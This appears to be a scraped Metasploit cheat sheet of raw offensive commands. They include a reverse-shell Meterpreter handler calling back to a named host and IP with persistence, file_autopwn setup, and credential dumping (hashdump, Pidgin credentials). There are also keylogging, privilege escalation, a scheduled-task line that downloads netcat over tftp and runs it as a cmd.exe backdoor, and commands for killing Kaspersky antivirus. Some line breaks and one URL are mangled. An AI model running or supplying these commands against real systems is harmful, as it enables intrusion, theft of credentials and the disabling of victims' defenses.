Cheat Sheet of Metasploit
Cheat Sheet of Metasploit
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST rmccurdy.com
set LPORT 21
set ExitOnSession false
# set AutoRunScript pathto script you want to autorun after exploit is run
set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30
exploit -j -z
# file_autopwn
rm -Rf /tmp/1
mkdir /tmp/1
rm -Rf ~/.msf3
wget -O /tmp/file3.pdf
https://www1.nga.mil/Newsroom/PressR…s/nga10_02.pdf
./msfconsole
db_driver sqlite3
db_create pentest11
setg LHOST 75.139.158.51
setg LPORT 21
setg SRVPORT 21
setg LPORT_WIN32 21
use auxiliary/server/file_autopwn
run get_pidgin_creds
idletime
sysinfo
execute -f cmd.exe -H -c -i -t
execute -f cmd.exe -i -t
run get_local_subnets
# An example of a run of the file to download via tftp of Netcat and then
running it as a backdoor.
run schtasksabuse-dev -t 192.168.1.7 -c “tftp -i 192.168.1.8 GET nc.exe,nc -L -p
8080 -e cmd.exe” -d 4
run schtasksabuse -t 192.168.1.7 -c “tftp -i 192.168.1.8 GET nc.exe,nc -L -p
8080 -e cmd.exe” -d 4
# priv esc
run kitrap0d
run getgui
run winemun
run memdump
run screen_unlock
shell
run myremotefileserver_mserver -h
run myremotefileserver_mserver -p 8787
run msf_bind
run msf_bind -p 1975
rev2self
getuid
getuid
enumdesktops
grabdesktop
run hashdump
run metsvc
run scraper
run checkvm
run keylogrecorder
run netenum -fl -hl localhostlist.txt -d google.com
run netenum -rl -r 10.192.0.50-10.192.0.254
run netenum -st -d google.com
run netenum -ps -r 10.192.0.50-254
# kill AV this will not unload it from mem it needs reboot or kill from memory
still … Darkspy, Seem, Icesword GUI can kill the tasks
catchme.exe -K “c:\Program Files\Kaspersky\avp.exe”
catchme.exe -E “c:\Program Files\Kaspersky\avp.exe”
catchme.exe -O “c:\Program Files\Kaspersky\avp.exe” dummy